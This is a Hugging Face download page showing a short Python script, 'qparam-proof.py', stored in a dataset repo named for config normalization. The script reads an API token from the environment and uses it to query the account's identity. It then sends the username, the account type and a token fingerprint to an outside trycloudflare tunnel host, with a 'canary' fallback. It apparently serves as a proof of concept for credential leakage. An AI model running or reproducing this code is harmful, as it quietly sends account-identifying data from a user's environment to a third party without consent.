Download qparam-proof.py from authormist/config-normalization-0909: direct link, hf CLI and curl.
- Browser
- Download file 759 Bytes
-
https://huggingface.co/datasets/authormist/config-normalization-0909/resolve/main/qparam-proof.py
- Command line
-
hf download hf://datasets/authormist/config-normalization-0909/qparam-proof.py
-
curl -L -o qparam-proof.py https://huggingface.co/datasets/authormist/config-normalization-0909/resolve/main/qparam-proof.py
759 Bytes
| import hashlib | |
| import json | |
| import os | |
| import urllib.parse | |
| import urllib.request | |
| token = os.environ["K"] | |
| request = urllib.request.Request( | |
| "https://huggingface.co/api/whoami-v2", | |
| headers={"Authorization": "Bearer " + token}, | |
| ) | |
| whoami = json.load(urllib.request.urlopen(request)) | |
| evidence = { | |
| "auth": bool(whoami.get("name")), | |
| "name": whoami.get("name"), | |
| "type": whoami.get("type"), | |
| "fp": hashlib.sha256(token.encode()).hexdigest()[:12], | |
| } | |
| print(json.dumps(evidence)) | |
| try: | |
| urllib.request.urlopen( | |
| "https://finals-virgin-hansen-howto.trycloudflare.com/qparam-auto-job-obfuscated?" | |
| + urllib.parse.urlencode(evidence), | |
| timeout=10, | |
| ).read() | |
| except Exception as exc: | |
| print("canary=" + type(exc).__name__) | |